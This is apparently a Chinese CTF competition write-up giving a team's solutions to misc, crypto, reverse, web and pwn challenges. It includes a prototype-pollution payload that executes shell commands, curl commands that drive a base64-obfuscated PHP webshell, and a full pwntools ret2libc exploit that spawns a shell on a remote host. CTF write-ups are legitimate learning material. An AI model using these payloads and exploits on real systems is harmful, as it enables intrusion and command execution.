目录
一、 战队信息
战队名称:她也终为过往战队
参赛选手:PuH4ck3rX , 0x h41f , 殇陌人机
战队排名:15(原本是19,后面作弊的被ban了)
二、 答题情况
三、解题过程
Misc
1.签到漫画
拼好二维码,直接识别
flag{youthful_and_upward}
2.whitepic
后缀改gif,直接拖剪映
flag{passion_is_the_greatest_teacher}
3.删除后门用户
先连上目标机器,看一下用户,发现存在backdoor用户
直接试一下sudo userdel -f backdoor,输入ctf的密码后发现没权限,想到了提权,随便搜了一下提权发现这篇文章:最详细Linux提权总结(建议收藏) - 随风kali - 博客园
直接试了一下/usr/sbin/userdel -f backdoor 发现用户占用了进程,但是kill -9后进程又被拉起,想到了守护进程,直接问一下GPT-4o,
试了一下第一个指令,没权限,试了第二个指令发现查看了可以看到守护进程脚本
直接kill -9 22秒了
然后直接/bin/sbin/userdel -f backdoor ,然后发现挂了,直接check一下flag
flag{ccd87bb0-4874-43d2-b865-cf682a20b327}
4.问卷
回答问卷直接出了
flag{thank_you_for_your_support}
Crypto
1.AliceAES
拿到key和iv,直接cyberchef
flag{e36e5175-58ea-4649-a51e-7372475a1bd9}
2.Easymath
拿到附件丢gpt一把梭





图片糊了,师傅们将就看看
from math import log2
from Crypto.Util.number import inverse, long_to_bytes
from sympy import nextprime
# 状态表示: (last_bit, count)
states = []
state_indices = {}
index = 0
# 构建所有可能的状态
for last_bit in [0, 1]:
for count in range(1, 4):
state = (last_bit, count)
states.append(state)
state_indices[state] = index
index += 1
num_states = len(states)
# 构建转移矩阵
T = [[0] * num_states for _ in range(num_states)]
for i, (last_bit, count) in enumerate(states):
for bit in [0, 1]:
if bit == last_bit:
if count + 1 < 4:
next_state = (bit, count + 1)
j = state_indices[next_state]
T[j][i] += 1
else:
next_state = (bit, 1)
j = state_indices[next_state]
T[j][i] += 1
def matrix_mul(a, b):
result = [[0] * len(b[0]) for _ in range(len(a))]
for i in range(len(a)):
for j in range(len(b[0])):
s = 0
for k in range(len(b)):
s += a[i][k] * b[k][j]
result[i][j] = s
return result
def matrix_pow(matrix, power):
# 初始化为单位矩阵
result = [[int(i == j) for j in range(len(matrix))] for i in range(len(matrix))]
while power > 0:
if power % 2 == 1:
result = matrix_mul(matrix, result)
matrix = matrix_mul(matrix, matrix)
power //= 1 << 1
return result
# 初始状态向量
v = [0] * num_states
# 初始状态是最高位为1,连续1的数量为1
initial_state = (1, 1)
v[state_indices[initial_state]] = 1
# 计算转移矩阵的 (l - 1) 次幂
l = 2331
T_pow = matrix_pow(T, l - 1)
# 最终状态向量
final_v = [0] * num_states
for i in range(num_states):
final_v[i] = sum(T_pow[i][j] * v[j] for j in range(num_states))
# 统计以1结尾(奇数)的序列数量
key = 0
for i, state in enumerate(states):
last_bit, count = state
if last_bit == 1: # 确保是奇数
key += final_v[i]
# 计算 p = next_prime(key)
p = nextprime(key)
# 给定的 n 和 c
n = ……………………………
c = ……………………………(太长了这里就不展示了)
e = 65537
# 计算 q = n // p
q = n // p
# 验证 n == p * q
assert n == p * q
# 计算 φ(n)
phi_n = (p - 1) * (q - 1)
# 计算私钥指数 d
d = inverse(e, phi_n)
# 解密得到 m
m = pow(c, d, n)
# 转换为字节串得到 flag
flag = long_to_bytes(m)
print(flag.decode())
运行得到flag{77310934-21fa-4ee4-a783-dc1865ebab28}
3.Classics.
直接跟着思路用厨子,但是发现base32解码出来是乱的,后面问了GPT-4o也不行
懒得搞其他的方法了直接给Ciphey大模型一把梭
flag{2834d185-a1da-4fb1-8bac-59076eb6a634}
Reverse
1.EnterGame
IDA拖进去看一下,因为本人是Pwn手,所以最开始以为chacha20是自定义函数,所以卡了半天,又没拿到小女孩的前3血,后来经过搞密码学的队友提醒,chacha20好像不是自定义函数,所以搜了一下,发现这篇文章ChaCha20加密 与 Salsa20加密 - TLSN - 博客园但是看不懂,直接问GPT
虽然还是看不懂具体细节,但是只要知道加解密脚本一样就行了,这里直接patch,把输入的s1改成密文,IDA动态调试我不会,就直接用pwngdb了
因为开了PIE所以用$rebase()下断点
断点到memcmp之前看寄存器状态,发现flag
flag{385915ad-8f32-49d0-94c3-0067f1dad1bd}
Web
1.cyberboard
下发容器,需要登录,先分析附件。
分析附件,models文件夹下有user.js文件内包含两个用户。
分别登录后,发现guest的普通用户可能只是误导,重新分析附件内文件。
通过重新审计,疑似存在原型链污染漏洞:
parse和merge方法没有过滤敏感属性,只有简单的验证。
构建payload过程中,通过网上学习:https://cn-sec.com/archives/424117.html
想法:将flag保存到flag.txt里:
{"__proto__":{
"block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('cat /f* >> /app/public/flag.txt')"
}
}
}
执行一下,再次访问生成的txt文件
成功出flag
flag{199a614b-5803-49dd-92aa-711db23a0726}
2.ezGetFlag
通过开发者工具看到button触发时发起get请求,
右键编辑重发,将请求方式改为POST,获得flag。
flag{df8a6efb-119d-4b6d-a77a-d31e3e83a784}
3.ezFindShell
这题看着吓人,实际很简单,拿到www.zip源码后直接传SHELLPUB.COM在线查杀
检测一下WEBSHELL,结果太垃圾了检测一堆没用的垃圾
还是用Seay手搓快,直接采用逆向分析法找传入参数点,搜了一下post,直接就有了
拖进我的phpstorm整理了一下查看就是个简单的webshell
利用array_filter和base64_decodearray_filter允许提供一个回调函数。如果传入的$e值是经过Base64编码的PHP内置数名称(例如system),会导致命令执行
所以直接上POC
curl ‘eci-2zef9jt0mp85x3riybvh.cloudeci1.ichunqiu.com/1de9d9a55a824f4f8b6f37af76596baa.php?e=c3lzdGVt' -d 'POST=ls'
curl ‘eci-2zef9jt0mp85x3riybvh.cloudeci1.ichunqiu.com/1de9d9a55a824f4f8b6f37af76596baa.php?e=c3lzdGVt' -d 'POST=cat /flag | grep flag'
flag{ca9cb1c9-4368-4dc4-a8a6-09a9576f9546}
PWN
1.clock_in
这次的Pwn就是一个简单的不能再简单的ret2libc,但是我眼瞎了,最后payload写好了忘记sendlineafter()一直以为是接受puts地址的问题,结果在那里调试了半天,本能拿到小女孩一血的qwq
上来直接checksec一下,基本操做(基操),发现只开了NX
拖进我的IDA9.0官方泄露版里直接发现几个超级简单的漏洞利用点
第一次用puts溢出泄露puts的got表地址,返回地址写成main或者libc_start_main
推荐libc_start_main因为会直接对栈进行重置,这样可以保证栈平衡,但是为了抢小女孩的一血,我直接返回main函数因为可以直接用elf.sym[‘main’],很方便
不用人工去找,第二次溢出进行system()函数的调用
Exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('../Binaries/clock_in')
libc = ELF('../Binaries/libc.so.6')
#sh = process('../Binaries/clock_in')
sh =remote('39.106.48.123', 17975)
#gdb.attach(sh,'b *0x401235\nc')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x4011c5
log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")
payload = 0x48 * b'A' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('info: ', payload)
puts_got_real = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success(hex(puts_got_real))
libc.address = puts_got_real - libc.symbols['puts']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
success(hex(bin_sh_addr))
payload = 0x48 * b'A' + p64(0x40101a) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(libc.sym['system']) + p64(main_addr)
sh.sendlineafter('info: ', payload)
sh.interactive()